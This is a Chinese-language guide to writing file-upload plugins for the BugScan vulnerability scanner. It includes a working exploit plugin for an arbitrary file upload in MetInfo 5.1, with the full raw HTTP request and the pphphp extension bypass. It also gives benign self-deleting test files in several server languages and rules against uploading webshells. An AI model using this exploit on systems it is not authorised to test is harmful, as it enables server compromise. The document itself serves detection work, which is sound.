• 文件上传类
    • 文件上传类插件检测步骤
    • 文件上传类的插件原则
    • 上传文件样例代码
    • 文件上传 Q & A

    文件上传类


    文件上传类插件可以分两种方法进行上传:

    • raw (推荐)

      直接发送 HTTP 原始报文,可直接从 BurpSuite 中复制该报文,使用 hackhttp 的 raw 发包形式来上传文件。

    • post

      通过构造 enctype="multipart/form-data" 形式的 form 表单来上传文件。

      由于 MIME 类型较多,在处理时比较麻烦,官方推荐使用 raw 形式上传文件。

    范例插件

    MetInfo5.1 /feedback/uploadfile_save.php 任意文件上传

    感谢插件作者: wonderkun

    1. #!/usr/bin/evn python
    2. # -*-:coding:utf-8 -*-
    3. # Author: wonderkun
    4. # Name: MetInfo5.1 任意文件上传 getshell
    5. # Refer: http://www.wooyun.org/bugs/wooyun-2015-0139168
    6. # Data: 2015/12/15
    7. import time
    8. def assign(service,arg):
    9. if service == fingerprint.metinfo:
    10. return True, arg
    11. def audit(arg):
    12. url = arg + "feedback/uploadfile_save.php?met_file_format=pphphp&met_file_maxsize=9999&lang=metinfo"
    13. raw = '''
    14. POST /feedback/uploadfile_save.php?met_file_format=pphphp&met_file_maxsize=9999&lang=metinfo HTTP/1.1
    15. Host: localhost
    16. Content-Length: 423
    17. Cache-Control: max-age=0
    18. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    19. Origin: null
    20. Upgrade-Insecure-Requests: 1
    21. User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
    22. Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE1toBNeESf6p0uXQ
    23. Accept-Encoding: gzip, deflate
    24. Accept-Language: zh-CN,zh;q=0.8
    25. Cookie: PHPSESSID=hfqa37uap92gdaoc2nsco6g0n1
    26. ------WebKitFormBoundaryE1toBNeESf6p0uXQ
    27. Content-Disposition: form-data; name="fd_para[1][para]"
    28. filea
    29. ------WebKitFormBoundaryE1toBNeESf6p0uXQ
    30. Content-Disposition: form-data; name="fd_para[1][type]"
    31. 5
    32. ------WebKitFormBoundaryE1toBNeESf6p0uXQ
    33. Content-Disposition: form-data; name="filea"; filename="test.php"
    34. Content-Type: application/x-php
    35. <?php echo md5(1);unlink(__FILE__);?>
    36. ------WebKitFormBoundaryE1toBNeESf6p0uXQ--
    37. '''
    38. # proxy=('127.0.0.1',8080)
    39. code1, head1, res1, finalurl1, log1 = hackhttp.http(url, raw=raw)
    40. # get upload file name
    41. name = int(time.time())
    42. for i in range(3):
    43. filename = name + i
    44. url = arg + 'upload/file/%s.php' % (str(filename))
    45. code2, head2, res2, finalurl2, log2 = hackhttp.http(url)
    46. if code2 == 200 and "c4ca4238a0b923820dcc509a6f75849b" in res2:
    47. # 只用传递触发漏洞的 log,验证上传成功的 log 不需要
    48. security_hole('file upload Vulnerable:' + arg + "feedback/uploadfile_save.php?met_file_format=pphphp&met_file_maxsize=9999&lang=metinfo", log=log1)
    49. break
    50. if __name__ == '__main__':
    51. from dummy import *
    52. audit(assign(fingerprint.metinfo, "http://127.0.0.1/metinfo5.1/")[1])

    文件上传类插件检测步骤

    1. 上传指定文件到目标
    2. 访问上传后的文件
    3. 判断是不是 1 中上传的文件

    文件上传类的插件原则

    1. 一般情况下要求上传可执行的文件,例如:php, asp, aspx, jsp
    2. 上传文件内容要求对目标不得造成任何形式的损害。
    3. 上传后的文件,在访问一次之后应该自删除。
    4. 文件名应该尽量随机,不要与正常文件名相同。

    上传文件样例代码

    BugScan 社区官方提供了以下几类语言的上传检测样本,供开发者参考,所有文件都会在访问一次之后自删除,如果无删除权限时,由于其只输出字符串,也不会造成太大危害。

    • PHP

      1. <?php echo md5(233);unlink(__FILE__);?>

      输出: e165421110ba03099a1c0393373c5b43

    • ASP

      1. <%
      2. Response.Write chr(101)&chr(49)&chr(54)&chr(53)&chr(52)&chr(50)&chr(49)&chr(49)&chr(49)&chr(48)&chr(98)&chr(97)&chr(48)&chr(51)&chr(48)&chr(57)&chr(57)&chr(97)&chr(49)&chr(99)&chr(48)&chr(51)&chr(57)&chr(51)&chr(51)&chr(55)&chr(51)&chr(99)&chr(53)&chr(98)&chr(52)&chr(51)
      3. CreateObject("Scripting.FileSystemObject").DeleteFile(server.mappath(Request.ServerVariables("SCRIPT_NAME")))
      4. %>

      访问该文件后输出: e165421110ba03099a1c0393373c5b43

    • ASPX

      1. <%@Page Language="C#"%>
      2. <%
      3. Response.Write(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("ZTE2NTQyMTExMGJhMDMwOTlhMWMwMzkzMzczYzViNDM=")));
      4. System.IO.File.Delete(Request.PhysicalPath);
      5. %>

      访问该文件后输出:e165421110ba03099a1c0393373c5b43

    • JSP

      1. <%
      2. out.println(new String(new sun.misc.BASE64Decoder().decodeBuffer("ZTE2NTQyMTExMGJhMDMwOTlhMWMwMzkzMzczYzViNDM=")));
      3. new java.io.File(application.getRealPath(request.getServletPath())).delete();
      4. %>

      访问该文件后输出:e165421110ba03099a1c0393373c5b43

    • JSPX

      1. <?xml version="1.0" encoding="UTF-8"?>
      2. <jsp:root xmlns="http://www.w3.org/1999/xhtml" version="2.0" xmlns:jsp="http://java.sun.com/JSP/Page" xmlns:c="http://java.sun.com/jsp/jstl/core">
      3. <jsp:directive.page contentType="text/html;charset=UTF-8" language="java" />
      4. <jsp:scriptlet>
      5. out.println(new String(new sun.misc.BASE64Decoder().decodeBuffer("ZTE2NTQyMTExMGJhMDMwOTlhMWMwMzkzMzczYzViNDM=")));
      6. new java.io.File(application.getRealPath(request.getServletPath())).delete();
      7. </jsp:scriptlet>
      8. </jsp:root>

      访问该文件后输出:e165421110ba03099a1c0393373c5b43

    文件上传 Q & A

    Q: 为什么不能上传 eval($_POST[a]);?

    A: 上传 webshell 会对目标造成危害,违反了无损扫描这一约定,并且上传内容中包含后门特征,容易被防护产品拦截。


    Q: 为什么不能上传 phpinfo();?

    A: phpinfo();看起来无害实际上却有着泄漏目标服务敏感信息的危害。如果在检测后忘记删除文件,会对其它攻击者提供便利。


    Q: 为什么要自删除?

    A: 自删除可保证在检测之后不会在目标系统中留下检测时产生的文件,对目标影响较小。如果上传的件名不是随机的,在下次上传时会出现写入不成功的情况。


    Q: 为什么文件名要随机?

    A: 文件名随机在检测没有重命名处理的上传点时好处有:

    1. 如果文件名与现有的文件同名,写入会失败或者覆盖原文件。
    2. 第一次检测上传成功,在修复漏洞后忘记删除该文件,下次检测时访问该文件会产生误报。